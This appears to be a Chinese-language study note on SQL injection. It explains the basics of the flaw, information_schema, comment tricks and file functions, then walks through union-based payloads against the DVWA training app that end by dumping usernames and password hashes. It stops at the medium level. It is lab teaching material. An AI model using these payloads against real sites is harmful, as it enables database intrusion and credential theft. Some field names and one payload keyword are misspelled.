SQL注入:
1,sql注入基础知识
一,分类
报错注入,盲注,union注入等。
二,原理
sql注入漏洞需满足以下两个条件:
1,参数用户可控:前端传给后端的参数内容是用户可以改变的。
2,参数代入数据库查询:传入的参数拼接到sql语句,且代入数据库查询。
三,order by 用法
1,order by +表字段名 +【降序(desc)或默认升序】。
2,order by +表列数(也即字段)+【降序(desc)或默认升序】(sql注入时猜列表数使用的方法)。
四,information_schema数据库
在MySQL5.0版本后,MySQL默认在数据库中放一个“information_schema”的数据库,该库中schemta,tables和columns三个表名最重要。
1,schemta:储存所有数据库的库名。字段名为“schema_name”。
2,tables:储存所有的库名,和表名。字段名分别为“table_schema”和“table_name”。
3,columns:储存所有库名,表名,和字段名。字段名分别为’‘table_schema’’,’‘table_name’’,和’‘columns_name’’。
五,sql查询语句
select “要查询的字段名” from “库名.表名” where “已知字段名”=“值”。
六,limit的用法
格式为:limit m,n。其中m表示记录开始的位置,n表示取几条记录。
七,注释符
MySQL中常见的注释符有:#,- -空格,/**/。
八,内联注释
形式:/*!code*/,内联注释可以用于整个sql语句中,执行sql语句。
例子: index.php?id=15 /*!union*/ /*!select*/1,2,3。
信息函数
database() ,用于获取当前所使用的数据库信息
version():返回数据库的版本,等价于@@version
user():返回当前的用户,等价如current_user参数。
@@datadir,获取数据库的存储位置。
控制函数
load_file():从计算机中载入文件,读取文件中的数据。
into outfile:写入文件,前提是具有写入权限
concat():返回结果为连接参数产生的字符串。如果其中一个参数为null,则返回值为null。
2,DVWA之sql注入
一,low低等级
1,查列表数: 1' oeder by 2#
,输入2时没有报错,输入3时报错。
2,查数据库名,数据库为dvwa:
1' union select 1,database() #
3,查表名,users,和guestbook:
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
4,查列名,这里用user和password:
1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #
5,查字段,得到账号密码:
1' union select 1,concat(user,password) from dvwa.users#
二,medium中等级
… …